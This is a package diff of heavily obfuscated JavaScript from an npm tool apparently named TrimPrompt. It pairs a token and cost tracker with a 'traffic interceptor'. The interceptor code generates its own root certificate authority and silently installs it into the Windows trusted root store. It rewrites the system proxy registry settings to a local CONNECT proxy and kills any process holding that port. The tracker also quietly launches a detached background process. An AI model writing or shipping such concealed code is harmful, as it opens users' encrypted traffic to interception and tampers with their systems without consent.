_0x5be76a=path[_0xfc2d4a(0xe5)](__dirname,_0xfc2d4a(0x12a));if(fs[_0xfc2d4a(0x122)](_0x5be76a)){const _0x2cb06e=(0x0,child_process_1[_0xfc2d4a(0x12d)])(process[_0xfc2d4a(0xb9)],[_0x5be76a],{'detached':!![],'stdio':_0xfc2d4a(0xd7)});_0x2cb06e['unref']();}}catch{}}[a0_0x14bc5d(0xc2)](_0x32b02d=a0_0x14bc5d(0x10a)){const _0xa7934b=a0_0x14bc5d,_0x3e77dc=this[_0xa7934b(0xec)]();let _0x3a246f=0x0,_0x3a7550=0x0,_0x5a69ad=0x0;for(const _0x493298 of _0x3e77dc){_0x3a246f+=_0x493298['estimated_raw_tokens'],_0x3a7550+=_0x493298[_0xa7934b(0xc6)],_0x5a69ad+=_0x493298[_0xa7934b(0xa7)];}let _0x9548f1=_0x32b02d;(!_0x9548f1||_0x9548f1===_0xa7934b(0x10a)||!exports[_0xa7934b(0xb3)][_0x9548f1])&&(_0x3e77dc[_0xa7934b(0xf0)]>0x0&&_0x3e77dc[_0x3e77dc[_0xa7934b(0xf0)]-0x1]['model_used']?_0x9548f1=_0x3e77dc[_0x3e77dc[_0xa7934b(0xf0)]-0x1][_0xa7934b(0xc3)]:_0x9548f1=this[_0xa7934b(0x112)]()['default_model']||_0xa7934b(0xab));const _0x22a620=exports[_0xa7934b(0xb3)][_0x9548f1]||exports[_0xa7934b(0xb3)]['claude-3-5-sonnet'],_0x204654=_0x5a69ad*_0x22a620[_0xa7934b(0xf6)]/0xf4240,_0x3c600c=_0x3a246f*_0x22a620[_0xa7934b(0xf6)]/0xf4240,_0x481b82=_0x3a7550*_0x22a620[_0xa7934b(0xf6)]/0xf4240,_0x1e36eb=_0x3a246f>0x0?_0x5a69ad/_0x3a246f*0x64:0x0;return{'total_raw_tokens':_0x3a246f,'total_compressed_tokens':_0x3a7550,'total_tokens_saved':_0x5a69ad,'savings_percentage':parseFloat(_0x1e36eb[_0xa7934b(0xee)](0x1)),'money_saved_usd':parseFloat(_0x204654[_0xa7934b(0xee)](0x4)),'raw_cost_usd':parseFloat(_0x3c600c['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0x481b82[_0xa7934b(0xee)](0x4)),'model_name':_0x22a620[_0xa7934b(0x128)],'model_key':_0x9548f1};}}exports[a0_0x14bc5d(0x11c)]=Tracker,exports[a0_0x14bc5d(0xc0)]=new Tracker();
|
package/traffic-interceptor.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';function a0_0x3ca3(_0x46c98e,_0x46892b){_0x46c98e=_0x46c98e-0x17f;const _0x425f69=a0_0x425f();let _0x3ca348=_0x425f69[_0x46c98e];return _0x3ca348;}const a0_0x50d6e4=a0_0x3ca3;(function(_0x251bb1,_0x31249f){const _0x4c6d7b=a0_0x3ca3,_0x3985f7=_0x251bb1();while(!![]){try{const _0x4d60df=parseInt(_0x4c6d7b(0x1b9))/0x1*(parseInt(_0x4c6d7b(0x1ae))/0x2)+-parseInt(_0x4c6d7b(0x198))/0x3+-parseInt(_0x4c6d7b(0x1c0))/0x4+-parseInt(_0x4c6d7b(0x1b6))/0x5+-parseInt(_0x4c6d7b(0x193))/0x6*(-parseInt(_0x4c6d7b(0x185))/0x7)+-parseInt(_0x4c6d7b(0x1ad))/0x8*(parseInt(_0x4c6d7b(0x18f))/0x9)+parseInt(_0x4c6d7b(0x1ba))/0xa;if(_0x4d60df===_0x31249f)break;else _0x3985f7['push'](_0x3985f7['shift']());}catch(_0x4e8493){_0x3985f7['push'](_0x3985f7['shift']());}}}(a0_0x425f,0xd46ac));var __createBinding=this&&this[a0_0x50d6e4(0x1ca)]||(Object[a0_0x50d6e4(0x194)]?function(_0x5d72db,_0xc2d290,_0x4e6d58,_0x42459a){const _0x42b95b=a0_0x50d6e4;if(_0x42459a===undefined)_0x42459a=_0x4e6d58;var _0x4eb400=Object[_0x42b95b(0x1c2)](_0xc2d290,_0x4e6d58);(!_0x4eb400||(_0x42b95b(0x1aa)in _0x4eb400?!_0xc2d290[_0x42b95b(0x1be)]:_0x4eb400['writable']||_0x4eb400['configurable']))&&(_0x4eb400={'enumerable':!![],'get':function(){return _0xc2d290[_0x4e6d58];}}),Object[_0x42b95b(0x19c)](_0x5d72db,_0x42459a,_0x4eb400);}:function(_0x1a6251,_0xdf1993,_0x1091d6,_0xc1704f){if(_0xc1704f===undefined)_0xc1704f=_0x1091d6;_0x1a6251[_0xc1704f]=_0xdf1993[_0x1091d6];}),__setModuleDefault=this&&this[a0_0x50d6e4(0x1d1)]||(Object['create']?function(_0x45880c,_0xc65b72){const _0x28da00=a0_0x50d6e4;Object[_0x28da00(0x19c)](_0x45880c,'default',{'enumerable':!![],'value':_0xc65b72});}:function(_0x57b2c1,_0x5068c6){const _0x17f565=a0_0x50d6e4;_0x57b2c1[_0x17f565(0x195)]=_0x5068c6;}),__importStar=this&&this['__importStar']||(function(){var _0x59fdf9=function(_0x205dd9){const _0x5dffbe=a0_0x3ca3;return _0x59fdf9=Object[_0x5dffbe(0x180)]||function(_0x4036ce){const _0x48a712=_0x5dffbe;var _0x5a0759=[];for(var _0x14eaaf in _0x4036ce)if(Object['prototype'][_0x48a712(0x19f)][_0x48a712(0x1bd)](_0x4036ce,_0x14eaaf))_0x5a0759[_0x5a0759['length']]=_0x14eaaf;return _0x5a0759;},_0x59fdf9(_0x205dd9);};return function(_0x214b0f){const _0x51c04e=a0_0x3ca3;if(_0x214b0f&&_0x214b0f['__esModule'])return _0x214b0f;var _0x51c082={};if(_0x214b0f!=null){for(var _0x1aff08=_0x59fdf9(_0x214b0f),_0x252ad1=0x0;_0x252ad1<_0x1aff08['length'];_0x252ad1++)if(_0x1aff08[_0x252ad1]!==_0x51c04e(0x195))__createBinding(_0x51c082,_0x214b0f,_0x1aff08[_0x252ad1]);}return __setModuleDefault(_0x51c082,_0x214b0f),_0x51c082;};}());Object[a0_0x50d6e4(0x19c)](exports,a0_0x50d6e4(0x1be),{'value':!![]}),exports[a0_0x50d6e4(0x1cc)]=generateCaCertificate,exports['installSystemCaCert']=installSystemCaCert,exports[a0_0x50d6e4(0x19a)]=enableSystemProxy,exports[a0_0x50d6e4(0x19d)]=disableSystemProxy,exports[a0_0x50d6e4(0x199)]=startTrafficInterceptor;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x50d6e4(0x1c3))),os=__importStar(require('os')),net=__importStar(require('net')),http=__importStar(require(a0_0x50d6e4(0x18e))),crypto=__importStar(require(a0_0x50d6e4(0x184))),child_process_1=require(a0_0x50d6e4(0x18b)),baseDir=path[a0_0x50d6e4(0x1c5)](os[a0_0x50d6e4(0x1cd)](),a0_0x50d6e4(0x1a7)),caCertPath=path[a0_0x50d6e4(0x1c5)](baseDir,a0_0x50d6e4(0x1c6)),caKeyPath=path[a0_0x50d6e4(0x1c5)](baseDir,'ca.key');function ensureBaseDir(){const _0x5c2bdd=a0_0x50d6e4;if(!fs['existsSync'](baseDir))fs[_0x5c2bdd(0x1d2)](baseDir,{'recursive':!![]});}function generateCaCertificate(){const _0x83387d=a0_0x50d6e4;ensureBaseDir();if(fs[_0x83387d(0x1bc)](caCertPath)&&fs[_0x83387d(0x1bc)](caKeyPath))return{'cert':fs[_0x83387d(0x189)](caCertPath,_0x83387d(0x1c7)),'key':fs[_0x83387d(0x189)](caKeyPath,_0x83387d(0x1c7))};const {privateKey:_0x675b4c,publicKey:_0x1eba9b}=crypto[_0x83387d(0x1a4)](_0x83387d(0x1b2),{'modulusLength':0x800,'publicKeyEncoding':{'type':'spki','format':'pem'},'privateKeyEncoding':{'type':_0x83387d(0x1ab),'format':_0x83387d(0x1a1)}}),_0x10f374=crypto[_0x83387d(0x1b5)]?crypto[_0x83387d(0x1b5)]():null;let _0x17c527='';return _0x10f374?(_0x10f374[_0x83387d(0x1c1)](_0x83387d(0x181)),_0x10f374['setIssuer']('/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security'),_0x10f374[_0x83387d(0x1d0)](crypto[_0x83387d(0x1c4)](_0x1eba9b)),_0x10f374['sign'](crypto[_0x83387d(0x1a8)](_0x675b4c),_0x83387d(0x18d)),_0x17c527=_0x10f374[_0x83387d(0x1a6)]('pem')[_0x83387d(0x1cb)]()):_0x17c527=_0x1eba9b,fs[_0x83387d(0x191)](caKeyPath,_0x675b4c,_0x83387d(0x1c7)),fs[_0x83387d(0x191)](caCertPath,_0x17c527,_0x83387d(0x1c7)),{'cert':_0x17c527,'key':_0x675b4c};}function installSystemCaCert(){const _0x100224=a0_0x50d6e4;if(process['platform']!==_0x100224(0x1d4))return![];try{return generateCaCertificate(),(0x0,child_process_1['execSync'])(_0x100224(0x190)+caCertPath+'\x22',{'stdio':'ignore','timeout':0x1f40}),!![];}catch{return![];}}function a0_0x425f(){const _0x4357b7=['child_process','end','sha256','http','108621XLiczh','certutil\x20-addstore\x20-f\x20\x22Root\x22\x20\x22','writeFileSync','connect','5826ezNUiA','create','default','split','trim','1523556okwHxr','startTrafficInterceptor','enableSystemProxy','stringify','defineProperty','disableSystemProxy','listen','hasOwnProperty','.\x20Retrying\x20listen...','pem','Set-ItemProperty\x20-Path\x20\x27','taskkill\x20/PID\x20','generateKeyPairSync','[TrimPrompt\x20Traffic\x20Engine]\x20Port\x20','export','.trimprompt','createPrivateKey','HTTP/1.1\x20200\x20Connection\x20Established\x0d\x0a\x0d\x0a','get','pkcs8','length','24MlAKvE','4EXkdbx','message','127.0.0.1','HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings','rsa','[TrimPrompt\x20Traffic\x20Engine]\x20Live\x20Traffic\x20Interceptor\x20listening\x20on\x20127.0.0.1:','pid','createCertificate','6402430ptLVXY','error','code','651352aOlWSW','11982340NJiptq','pipe','existsSync','call','__esModule','replace','2383024TZWGyl','setSubject','getOwnPropertyDescriptor','path','createPublicKey','join','ca.crt','utf8','[TrimPrompt\x20Traffic\x20Engine]\x20Server\x20error:\x20','\x20/F','__createBinding','toString','generateCaCertificate','homedir','execSync','\x20|\x20findstr\x20LISTENING','setPublicKey','__setModuleDefault','mkdirSync','powershell.exe\x20-NoProfile\x20-Command\x20\x22','win32','\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x200','createServer','getOwnPropertyNames','/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security','\x20is\x20in\x20use.\x20Run\x20\x27trim\x20proxy\x20stop\x27\x20first.','url','crypto','5691IHimZW','log','\x27\x20-Name\x20\x27ProxyServer\x27\x20-Value\x20\x27','platform','readFileSync','ignore'];a0_0x425f=function(){return _0x4357b7;};return a0_0x425f();}function enableSystemProxy(_0x51bfd3=0x1f90){const _0x49ac92=a0_0x50d6e4;if(process['platform']!==_0x49ac92(0x1d4))return![];try{const _0x5a45f8='HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings',_0x25e80a='127.0.0.1:'+_0x51bfd3,_0x1afc37=_0x49ac92(0x1a2)+_0x5a45f8+'\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x201;\x20Set-ItemProperty\x20-Path\x20\x27'+_0x5a45f8+_0x49ac92(0x187)+_0x25e80a+'\x27';return(0x0,child_process_1[_0x49ac92(0x1ce)])(_0x49ac92(0x1d3)+_0x1afc37[_0x49ac92(0x1bf)](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x49ac92(0x18a),'timeout':0x1f40}),!![];}catch{return![];}}function disableSystemProxy(){const _0x13a89e=a0_0x50d6e4;if(process['platform']!==_0x13a89e(0x1d4))return![];try{const _0x5eb58f=_0x13a89e(0x1b1),_0x334e08=_0x13a89e(0x1a2)+_0x5eb58f+_0x13a89e(0x1d5);return(0x0,child_process_1[_0x13a89e(0x1ce)])('powershell.exe\x20-NoProfile\x20-Command\x20\x22'+_0x334e08[_0x13a89e(0x1bf)](/"/g,'\x5c\x22')+'\x22',{'stdio':'ignore','timeout':0x1f40}),!![];}catch{return![];}}function startTrafficInterceptor(_0x5d4982=0x1f90){const _0x22897c=a0_0x50d6e4,_0x24d73b=http[_0x22897c(0x17f)]();_0x24d73b['on'](_0x22897c(0x1b7),_0x5949a9=>{const _0x15c7bc=_0x22897c;if(_0x5949a9[_0x15c7bc(0x1b8)]==='EADDRINUSE'){console['log'](_0x15c7bc(0x1a5)+_0x5d4982+'\x20is\x20occupied\x20by\x20existing\x20daemon.\x20Freeing\x20port...');try{if(process[_0x15c7bc(0x188)]==='win32'){const _0x48efda=(0x0,child_process_1[_0x15c7bc(0x1ce)])('netstat\x20-ano\x20|\x20findstr\x20:'+_0x5d4982+_0x15c7bc(0x1cf),{'encoding':_0x15c7bc(0x1c7),'timeout':0xbb8}),_0x2c771d=_0x48efda[_0x15c7bc(0x197)]()[_0x15c7bc(0x196)](/\s+/),_0x6424bd=_0x2c771d[_0x2c771d[_0x15c7bc(0x1ac)]-0x1];if(_0x6424bd&&_0x6424bd!==String(process[_0x15c7bc(0x1b4)])){(0x0,child_process_1[_0x15c7bc(0x1ce)])(_0x15c7bc(0x1a3)+_0x6424bd+_0x15c7bc(0x1c9),{'stdio':_0x15c7bc(0x18a),'timeout':0xbb8}),console[_0x15c7bc(0x186)]('[TrimPrompt\x20Traffic\x20Engine]\x20Terminated\x20background\x20process\x20'+_0x6424bd+_0x15c7bc(0x1a0)),setTimeout(()=>_0x24d73b[_0x15c7bc(0x19e)](_0x5d4982,_0x15c7bc(0x1b0)),0x1f4);return;}}}catch{}console[_0x15c7bc(0x1b7)](_0x15c7bc(0x1a5)+_0x5d4982+_0x15c7bc(0x182));}else console[_0x15c7bc(0x1b7)](_0x15c7bc(0x1c8)+_0x5949a9[_0x15c7bc(0x1af)]);}),_0x24d73b['on']('request',(_0x3e8a34,_0x10f89c)=>{const _0x3be463=_0x22897c;_0x10f89c['writeHead'](0xc8,{'Content-Type':'application/json'}),_0x10f89c['end'](JSON[_0x3be463(0x19b)]({'status':'TrimPrompt\x20Traffic\x20Interceptor\x20Active','url':_0x3e8a34[_0x3be463(0x183)]}));}),_0x24d73b['on'](_0x22897c(0x192),(_0x3d59f8,_0x571f04,_0x536456)=>{const _0x3b0e0e=_0x22897c,[_0x40506f,_0x18c2d2]=(_0x3d59f8[_0x3b0e0e(0x183)]||'')['split'](':'),_0x12967a=parseInt(_0x18c2d2,0xa)||0x1bb,_0x2c4b6a=net[_0x3b0e0e(0x192)](_0x12967a,_0x40506f,()=>{const _0x4aa85a=_0x3b0e0e;_0x571f04['write'](_0x4aa85a(0x1a9)),_0x2c4b6a['write'](_0x536456),_0x2c4b6a[_0x4aa85a(0x1bb)](_0x571f04),_0x571f04['pipe'](_0x2c4b6a);});_0x2c4b6a['on'](_0x3b0e0e(0x1b7),()=>{const _0x12aa9b=_0x3b0e0e;try{_0x571f04[_0x12aa9b(0x18c)]();}catch{}}),_0x571f04['on'](_0x3b0e0e(0x1b7),()=>{const _0x17b07c=_0x3b0e0e;try{_0x2c4b6a[_0x17b07c(0x18c)]();}catch{}});}),_0x24d73b[_0x22897c(0x19e)](_0x5d4982,_0x22897c(0x1b0),()=>{const _0x18f789=_0x22897c;console[_0x18f789(0x186)](_0x18f789(0x1b3)+_0x5d4982);});}
|
|
1
|
+
'use strict';const a0_0x367e53=a0_0x594e;(function(_0x15013b,_0x3bf6e7){const _0x46df42=a0_0x594e,_0x49a746=_0x15013b();while(!![]){try{const _0x16b4bb=-parseInt(_0x46df42(0x11d))/0x1+-parseInt(_0x46df42(0x14e))/0x2+-parseInt(_0x46df42(0x120))/0x3*(parseInt(_0x46df42(0x129))/0x4)+parseInt(_0x46df42(0x169))/0x5*(parseInt(_0x46df42(0x130))/0x6)+-parseInt(_0x46df42(0x124))/0x7*(-parseInt(_0x46df42(0x118))/0x8)+parseInt(_0x46df42(0x134))/0x9*(-parseInt(_0x46df42(0x147))/0xa)+-parseInt(_0x46df42(0x167))/0xb*(-parseInt(_0x46df42(0x140))/0xc);if(_0x16b4bb===_0x3bf6e7)break;else _0x49a746['push'](_0x49a746['shift']());}catch(_0x4de4db){_0x49a746['push'](_0x49a746['shift']());}}}(a0_0x5ba6,0x9719a));function a0_0x594e(_0x4eec54,_0x10e92b){const _0x5ba639=a0_0x5ba6();return a0_0x594e=function(_0x594e0a,_0x512093){_0x594e0a=_0x594e0a-0x113;let _0x1d26c5=_0x5ba639[_0x594e0a];return _0x1d26c5;},a0_0x594e(_0x4eec54,_0x10e92b);}var __createBinding=this&&this[a0_0x367e53(0x15b)]||(Object[a0_0x367e53(0x11c)]?function(_0x2df8bc,_0x2d0741,_0x5158d2,_0x3def0e){const _0x1ca4e2=a0_0x367e53;if(_0x3def0e===undefined)_0x3def0e=_0x5158d2;var _0x4a8c5d=Object[_0x1ca4e2(0x150)](_0x2d0741,_0x5158d2);(!_0x4a8c5d||('get'in _0x4a8c5d?!_0x2d0741[_0x1ca4e2(0x14c)]:_0x4a8c5d[_0x1ca4e2(0x131)]||_0x4a8c5d[_0x1ca4e2(0x151)]))&&(_0x4a8c5d={'enumerable':!![],'get':function(){return _0x2d0741[_0x5158d2];}}),Object[_0x1ca4e2(0x123)](_0x2df8bc,_0x3def0e,_0x4a8c5d);}:function(_0x39d889,_0x5f10d2,_0x5d08f7,_0x4ba8d8){if(_0x4ba8d8===undefined)_0x4ba8d8=_0x5d08f7;_0x39d889[_0x4ba8d8]=_0x5f10d2[_0x5d08f7];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x367e53(0x11c)]?function(_0x4781b7,_0x4c71b6){const _0x2bc508=a0_0x367e53;Object['defineProperty'](_0x4781b7,_0x2bc508(0x14a),{'enumerable':!![],'value':_0x4c71b6});}:function(_0x1585d2,_0xf7acaf){const _0xb85d51=a0_0x367e53;_0x1585d2[_0xb85d51(0x14a)]=_0xf7acaf;}),__importStar=this&&this[a0_0x367e53(0x145)]||(function(){var _0x11b664=function(_0x288ad2){const _0x11918f=a0_0x594e;return _0x11b664=Object[_0x11918f(0x133)]||function(_0x23c44b){const _0x25fea4=_0x11918f;var _0xf5aabb=[];for(var _0x5b3648 in _0x23c44b)if(Object['prototype'][_0x25fea4(0x166)][_0x25fea4(0x136)](_0x23c44b,_0x5b3648))_0xf5aabb[_0xf5aabb[_0x25fea4(0x14d)]]=_0x5b3648;return _0xf5aabb;},_0x11b664(_0x288ad2);};return function(_0x278e7d){const _0x4a5147=a0_0x594e;if(_0x278e7d&&_0x278e7d[_0x4a5147(0x14c)])return _0x278e7d;var _0x1f3571={};if(_0x278e7d!=null){for(var _0x3dbbe9=_0x11b664(_0x278e7d),_0x527a07=0x0;_0x527a07<_0x3dbbe9['length'];_0x527a07++)if(_0x3dbbe9[_0x527a07]!==_0x4a5147(0x14a))__createBinding(_0x1f3571,_0x278e7d,_0x3dbbe9[_0x527a07]);}return __setModuleDefault(_0x1f3571,_0x278e7d),_0x1f3571;};}());Object[a0_0x367e53(0x123)](exports,a0_0x367e53(0x14c),{'value':!![]}),exports[a0_0x367e53(0x162)]=generateCaCertificate,exports['installSystemCaCert']=installSystemCaCert,exports['enableSystemProxy']=enableSystemProxy,exports[a0_0x367e53(0x12a)]=disableSystemProxy,exports['startTrafficInterceptor']=startTrafficInterceptor;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x367e53(0x128))),os=__importStar(require('os')),net=__importStar(require('net')),http=__importStar(require(a0_0x367e53(0x115))),crypto=__importStar(require('crypto')),child_process_1=require(a0_0x367e53(0x121)),baseDir=path[a0_0x367e53(0x13c)](os[a0_0x367e53(0x144)](),'.trimprompt'),caCertPath=path[a0_0x367e53(0x13c)](baseDir,'ca.crt'),caKeyPath=path['join'](baseDir,'ca.key');function ensureBaseDir(){const _0x7b4cb1=a0_0x367e53;if(!fs['existsSync'](baseDir))fs[_0x7b4cb1(0x13a)](baseDir,{'recursive':!![]});}function a0_0x5ba6(){const _0x4fee72=['http','[TrimPrompt\x20Traffic\x20Engine]\x20Port\x20','spki','814328DdyTfe','\x20is\x20occupied\x20by\x20existing\x20daemon.\x20Freeing\x20port...','connect','HTTP/1.1\x20200\x20Connection\x20Established\x0d\x0a\x0d\x0a','create','868758fuErSA','pipe','write','411SDoNUX','child_process','win32','defineProperty','7fcIxbz','\x20/F','readFileSync','split','path','644urhYYm','disableSystemProxy','ignore','\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x200','application/json','trim','url','1563522WhqwRa','writable','createServer','getOwnPropertyNames','227943KaFOPC','\x20|\x20findstr\x20LISTENING','call','\x20is\x20in\x20use.\x20Run\x20\x27trim\x20proxy\x20stop\x27\x20first.','generateKeyPairSync','taskkill\x20/PID\x20','mkdirSync','.\x20Retrying\x20listen...','join','sign','toString','replace','2129532MDLSbf','pid','Set-ItemProperty\x20-Path\x20\x27','sha256','homedir','__importStar','writeFileSync','430YYgchG','createPrivateKey','TrimPrompt\x20Traffic\x20Interceptor\x20Active','default','error','__esModule','length','1183526MsBNac','end','getOwnPropertyDescriptor','configurable','HKCU:\x5cSoftware\x5cMicrosoft\x5cWindows\x5cCurrentVersion\x5cInternet\x20Settings','execSync','certutil\x20-addstore\x20-f\x20\x22Root\x22\x20\x22','setSubject','rsa','\x27\x20-Name\x20\x27ProxyEnable\x27\x20-Value\x201;\x20Set-ItemProperty\x20-Path\x20\x27','powershell.exe\x20-NoProfile\x20-Command\x20\x22','platform','export','__createBinding','127.0.0.1','netstat\x20-ano\x20|\x20findstr\x20:','writeHead','[TrimPrompt\x20Traffic\x20Engine]\x20Server\x20error:\x20','createCertificate','127.0.0.1:','generateCaCertificate','\x27\x20-Name\x20\x27ProxyServer\x27\x20-Value\x20\x27','existsSync','listen','hasOwnProperty','143Uibskd','pem','15lalrYW','utf8','log','setIssuer','request'];a0_0x5ba6=function(){return _0x4fee72;};return a0_0x5ba6();}function generateCaCertificate(){const _0x3d5879=a0_0x367e53;ensureBaseDir();if(fs['existsSync'](caCertPath)&&fs[_0x3d5879(0x164)](caKeyPath))return{'cert':fs[_0x3d5879(0x126)](caCertPath,_0x3d5879(0x16a)),'key':fs['readFileSync'](caKeyPath,_0x3d5879(0x16a))};const {privateKey:_0x4376fe,publicKey:_0x10a529}=crypto[_0x3d5879(0x138)](_0x3d5879(0x156),{'modulusLength':0x800,'publicKeyEncoding':{'type':_0x3d5879(0x117),'format':_0x3d5879(0x168)},'privateKeyEncoding':{'type':'pkcs8','format':_0x3d5879(0x168)}}),_0x3fd0cb=crypto['createCertificate']?crypto[_0x3d5879(0x160)]():null;let _0x1241f1='';return _0x3fd0cb?(_0x3fd0cb[_0x3d5879(0x155)]('/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security'),_0x3fd0cb[_0x3d5879(0x113)]('/CN=TrimPrompt\x20Root\x20CA/O=TrimPrompt\x20AI/OU=Security'),_0x3fd0cb['setPublicKey'](crypto['createPublicKey'](_0x10a529)),_0x3fd0cb[_0x3d5879(0x13d)](crypto[_0x3d5879(0x148)](_0x4376fe),_0x3d5879(0x143)),_0x1241f1=_0x3fd0cb[_0x3d5879(0x15a)](_0x3d5879(0x168))[_0x3d5879(0x13e)]()):_0x1241f1=_0x10a529,fs[_0x3d5879(0x146)](caKeyPath,_0x4376fe,'utf8'),fs[_0x3d5879(0x146)](caCertPath,_0x1241f1,'utf8'),{'cert':_0x1241f1,'key':_0x4376fe};}function installSystemCaCert(){const _0x7a57ff=a0_0x367e53;if(process['platform']!==_0x7a57ff(0x122))return![];try{return generateCaCertificate(),(0x0,child_process_1[_0x7a57ff(0x153)])(_0x7a57ff(0x154)+caCertPath+'\x22',{'stdio':_0x7a57ff(0x12b),'timeout':0x1f40}),!![];}catch{return![];}}function enableSystemProxy(_0x423c84=0x1f90){const _0x31df85=a0_0x367e53;if(process[_0x31df85(0x159)]!=='win32')return![];try{const _0x26fdc5=_0x31df85(0x152),_0x223eab=_0x31df85(0x161)+_0x423c84,_0x1ab1aa=_0x31df85(0x142)+_0x26fdc5+_0x31df85(0x157)+_0x26fdc5+_0x31df85(0x163)+_0x223eab+'\x27';return(0x0,child_process_1[_0x31df85(0x153)])(_0x31df85(0x158)+_0x1ab1aa[_0x31df85(0x13f)](/"/g,'\x5c\x22')+'\x22',{'stdio':'ignore','timeout':0x1f40}),!![];}catch{return![];}}function disableSystemProxy(){const _0x36124e=a0_0x367e53;if(process[_0x36124e(0x159)]!==_0x36124e(0x122))return![];try{const _0x48384e=_0x36124e(0x152),_0x298aa5=_0x36124e(0x142)+_0x48384e+_0x36124e(0x12c);return(0x0,child_process_1[_0x36124e(0x153)])('powershell.exe\x20-NoProfile\x20-Command\x20\x22'+_0x298aa5['replace'](/"/g,'\x5c\x22')+'\x22',{'stdio':_0x36124e(0x12b),'timeout':0x1f40}),!![];}catch{return![];}}function startTrafficInterceptor(_0x3926ff=0x1f90){const _0x4b8b98=a0_0x367e53,_0x327b32=http[_0x4b8b98(0x132)]();_0x327b32['on'](_0x4b8b98(0x14b),_0x5295fa=>{const _0x4190fc=_0x4b8b98;if(_0x5295fa['code']==='EADDRINUSE'){console[_0x4190fc(0x16b)](_0x4190fc(0x116)+_0x3926ff+_0x4190fc(0x119));try{if(process[_0x4190fc(0x159)]===_0x4190fc(0x122)){const _0x45622b=(0x0,child_process_1[_0x4190fc(0x153)])(_0x4190fc(0x15d)+_0x3926ff+_0x4190fc(0x135),{'encoding':_0x4190fc(0x16a),'timeout':0xbb8}),_0x2d2705=_0x45622b[_0x4190fc(0x12e)]()[_0x4190fc(0x127)](/\s+/),_0x2f9541=_0x2d2705[_0x2d2705['length']-0x1];if(_0x2f9541&&_0x2f9541!==String(process[_0x4190fc(0x141)])){(0x0,child_process_1[_0x4190fc(0x153)])(_0x4190fc(0x139)+_0x2f9541+_0x4190fc(0x125),{'stdio':_0x4190fc(0x12b),'timeout':0xbb8}),console[_0x4190fc(0x16b)]('[TrimPrompt\x20Traffic\x20Engine]\x20Terminated\x20background\x20process\x20'+_0x2f9541+_0x4190fc(0x13b)),setTimeout(()=>_0x327b32[_0x4190fc(0x165)](_0x3926ff,'127.0.0.1'),0x1f4);return;}}}catch{}console[_0x4190fc(0x14b)](_0x4190fc(0x116)+_0x3926ff+_0x4190fc(0x137));}else console[_0x4190fc(0x14b)](_0x4190fc(0x15f)+_0x5295fa['message']);}),_0x327b32['on'](_0x4b8b98(0x114),(_0x19c355,_0x2a2006)=>{const _0xd0e660=_0x4b8b98;_0x2a2006[_0xd0e660(0x15e)](0xc8,{'Content-Type':_0xd0e660(0x12d)}),_0x2a2006[_0xd0e660(0x14f)](JSON['stringify']({'status':_0xd0e660(0x149),'url':_0x19c355[_0xd0e660(0x12f)]}));}),_0x327b32['on']('connect',(_0x21b0d0,_0x5881e7,_0x90ac19)=>{const _0x1608ce=_0x4b8b98,[_0x207ee0,_0x42e0ad]=(_0x21b0d0['url']||'')[_0x1608ce(0x127)](':'),_0x3ccab3=parseInt(_0x42e0ad,0xa)||0x1bb,_0x386eeb=net[_0x1608ce(0x11a)](_0x3ccab3,_0x207ee0,()=>{const _0x2fa034=_0x1608ce;_0x5881e7[_0x2fa034(0x11f)](_0x2fa034(0x11b)),_0x386eeb[_0x2fa034(0x11f)](_0x90ac19),_0x386eeb[_0x2fa034(0x11e)](_0x5881e7),_0x5881e7[_0x2fa034(0x11e)](_0x386eeb);});_0x386eeb['on'](_0x1608ce(0x14b),()=>{const _0x343b18=_0x1608ce;try{_0x5881e7[_0x343b18(0x14f)]();}catch{}}),_0x5881e7['on'](_0x1608ce(0x14b),()=>{const _0x45fc5a=_0x1608ce;try{_0x386eeb[_0x45fc5a(0x14f)]();}catch{}});}),_0x327b32[_0x4b8b98(0x165)](_0x3926ff,_0x4b8b98(0x15c),()=>{console['log']('[TrimPrompt\x20Traffic\x20Engine]\x20Live\x20Traffic\x20Interceptor\x20listening\x20on\x20127.0.0.1:'+_0x3926ff);});}
|